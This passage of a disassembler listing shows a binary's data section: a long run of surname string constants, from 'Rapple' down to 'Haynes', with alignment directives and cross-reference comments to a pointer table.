'Rapple',0 ; DATA XREF: ___:0042EA78o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042EA74o align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042EA70o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042EA6Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA68o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA64o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA60o align 10h aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA5Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA58o align 10h aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA54o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA50o aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA4Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA48o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA44o align 10h aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA40o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA3Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA38o align 10h aPrevost db 'Prevost',0 ; DATA XREF: ___:0042EA34o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042EA30o aPresper db 'Presper',0 ; DATA XREF: ___:0042EA2Co aPowers db 'Powers',0 ; DATA XREF: ___:0042EA28o align 10h aPoolman db 'Poolman',0 ; DATA XREF: ___:0042EA24o aPoma db 'Poma',0 ; DATA XREF: ___:0042EA20o align 10h aPolitis db 'Politis',0 ; DATA XREF: ___:0042EA1Co aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042EA18o aPolak db 'Polak',0 ; DATA XREF: ___:0042EA14o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042EA10o aPointer db 'Pointer',0 ; DATA XREF: ___:0042EA0Co aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042EA08o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042EA04o align 10h aPo db 'Po',0 ; DATA XREF: ___:0042EA00o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E9FCo align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9F8o aPlant db 'Plant',0 ; DATA XREF: ___:0042E9F4o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E9F0o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9ECo align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9E8o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9E4o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9E0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9DCo align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9D8o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E9D4o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E9D0o align 10h aPerone db 'Perone',0 ; DATA XREF: ___:0042E9CCo align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E9C8o align 10h aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E9C4o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E9C0o align 10h aPerko db 'Perko',0 ; DATA XREF: ___:0042E9BCo align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E9B8o aPenny db 'Penny',0 ; DATA XREF: ___:0042E9B4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E9B0o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E9ACo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E9A8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E9A4o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E9A0o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E99Co align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E998o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E994o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E990o align 10h aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E98Co aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E988o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E984o align 10h aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E980o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E97Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E978o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E974o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E970o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E96Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E968o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E964o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E960o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E95Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E958o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E954o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E950o align 10h aOvid db 'Ovid',0 ; DATA XREF: ___:0042E94Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E948o aOtten db 'Otten',0 ; DATA XREF: ___:0042E944o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E940o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E93Co align 10h aOspina db 'Ospina',0 ; DATA XREF: ___:0042E938o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E934o align 10h aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E930o aOray db 'Oray',0 ; DATA XREF: ___:0042E92Co align 10h aOpel db 'Opel',0 ; DATA XREF: ___:0042E928o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E924o aOman db 'Oman',0 ; DATA XREF: ___:0042E920o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E91Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E918o align 10h aOlson db 'Olson',0 ; DATA XREF: ___:0042E914o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E910o align 10h aOldford db 'Oldford',0 ; DATA XREF: ___:0042E90Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E908o aOh db 'Oh',0 ; DATA XREF: ___:0042E904o align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E900o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8FCo aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8F8o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E8F4o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8F0o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8ECo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8E8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8E4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8E0o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E8DCo align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8D8o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E8D4o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E8D0o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E8CCo align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E8C8o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E8C4o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E8C0o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E8BCo aNardone db 'Nardone',0 ; DATA XREF: ___:0042E8B8o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E8B4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E8B0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E8ACo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E8A8o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E8A4o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E8A0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E89Co aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E898o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E894o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E890o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E88Co aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E888o align 10h aMosler db 'Mosler',0 ; DATA XREF: ___:0042E884o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E880o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E87Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E878o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E874o align 10h aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E870o aMorani db 'Morani',0 ; DATA XREF: ___:0042E86Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E868o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E864o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E860o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E85Co align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E858o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E854o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E850o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E84Co aMittal db 'Mittal',0 ; DATA XREF: ___:0042E848o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E844o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E840o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E83Co aMini db 'Mini',0 ; DATA XREF: ___:0042E838o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E834o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E830o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E82Co align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E828o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E824o align 10h aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E820o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E81Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E818o aMerz db 'Merz',0 ; DATA XREF: ___:0042E814o align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E810o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E80Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E808o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E804o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E800o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7FCo align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7F8o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7F4o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7F0o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7ECo aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7E8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7E4o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7E0o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7DCo aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7D8o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E7D4o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E7D0o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E7CCo aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E7C8o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E7C4o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E7C0o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E7BCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E7B8o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E7B4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E7B0o aMay db 'May',0 ; DATA XREF: ___:0042E7ACo aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E7A8o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E7A4o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E7A0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E79Co align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E798o aMass db 'Mass',0 ; DATA XREF: ___:0042E794o align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E790o align 10h aMarton db 'Marton',0 ; DATA XREF: ___:0042E78Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E788o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E784o align 10h aMarques db 'Marques',0 ; DATA XREF: ___:0042E780o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E77Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E778o align 10h aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E774o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E770o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E76Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E768o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E764o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E760o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E75Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E758o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E754o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E750o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E74Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E748o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E744o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E740o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E73Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E738o aMacy db 'Macy',0 ; DATA XREF: ___:0042E734o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E730o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E72Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E728o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E724o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E720o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E71Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E718o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E714o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E710o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E70Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E708o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E704o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E700o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6FCo aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6F8o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6F4o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6F0o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042E6ECo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6E8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6E4o aLoss db 'Loss',0 ; DATA XREF: ___:0042E6E0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6DCo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6D8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E6D4o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E6D0o aLivi db 'Livi',0 ; DATA XREF: ___:0042E6CCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E6C8o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E6C4o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E6C0o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E6BCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E6B8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E6B4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E6B0o aLine db 'Line',0 ; DATA XREF: ___:0042E6ACo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042E6A8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E6A4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042E6A0o aLim db 'Lim',0 ; DATA XREF: ___:0042E69Co aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E698o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E694o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042E690o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E68Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E688o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E684o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042E680o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E67Co align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042E678o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E674o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E670o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042E66Co align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E668o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042E664o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E660o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E65Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E658o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E654o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E650o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042E64Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E648o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E644o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042E640o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E63Co aLa db 'La',0 ; DATA XREF: ___:0042E638o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E634o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042E630o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E62Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E628o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E624o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E620o aKraus db 'Kraus',0 ; DATA XREF: ___:0042E61Co align 10h aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E618o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E614o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E610o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E60Co align 10h aKotter db 'Kotter',0 ; DATA XREF: ___:0042E608o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E604o align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042E600o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5FCo align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5F8o align 10h aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5F4o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5F0o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5ECo align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E5E8o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5E4o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5E0o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042E5DCo align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5D8o aKling db 'Kling',0 ; DATA XREF: ___:0042E5D4o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E5D0o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E5CCo aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E5C8o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E5C4o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E5C0o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E5BCo aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E5B8o align 10h aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E5B4o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E5B0o aKimura db 'Kimura',0 ; DATA XREF: ___:0042E5ACo align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E5A8o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E5A4o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E5A0o align 10h aKeul db 'Keul',0 ; DATA XREF: ___:0042E59Co align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E598o align 10h aKendall db 'Kendall',0 ; DATA XREF: ___:0042E594o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E590o aKempton db 'Kempton',0 ; DATA XREF: ___:0042E58Co aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E588o align 10h aKelker db 'Kelker',0 ; DATA XREF: ___:0042E584o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E580o align 10h aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E57Co aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E578o align 10h aKee db 'Kee',0 ; DATA XREF: ___:0042E574o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E570o aKasten db 'Kasten',0 ; DATA XREF: ___:0042E56Co align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042E568o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E564o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E560o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042E55Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E558o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E554o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042E550o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E54Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E548o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E544o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E540o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E53Co aJulious db 'Julious',0 ; DATA XREF: ___:0042E538o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E534o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E530o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E52Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042E528o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E524o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E520o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E51Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042E518o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E514o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E510o aJellis db 'Jellis',0 ; DATA XREF: ___:0042E50Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E508o aJay db 'Jay',0 ; DATA XREF: ___:0042E504o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E500o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4FCo align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4F8o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4F4o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042E4F0o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4ECo align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4E8o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4E4o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4E0o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4DCo aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4D8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E4D4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E4D0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E4CCo align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E4C8o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042E4C4o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E4C0o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E4BCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E4B8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E4B4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042E4B0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E4ACo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E4A8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042E4A4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E4A0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E49Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E498o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042E494o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E490o aHoward db 'Howard',0 ; DATA XREF: ___:0042E48Co align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042E488o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E484o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E480o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E47Co aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E478o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E474o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E470o aHolway db 'Holway',0 ; DATA XREF: ___:0042E46Co align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042E468o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E464o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E460o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E45Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E458o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E454o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E450o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042E44Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E448o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E444o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E440o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042E43Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E438o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E434o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E430o aHester db 'Hester',0 ; DATA XREF: ___:0042E42Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E428o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E424o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E420o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042E41Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E418o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E414o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E410o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E40Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E408o aHeft db 'Heft',0 ; DATA XREF: ___:0042E404o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E400o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3FCo align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3F8o align 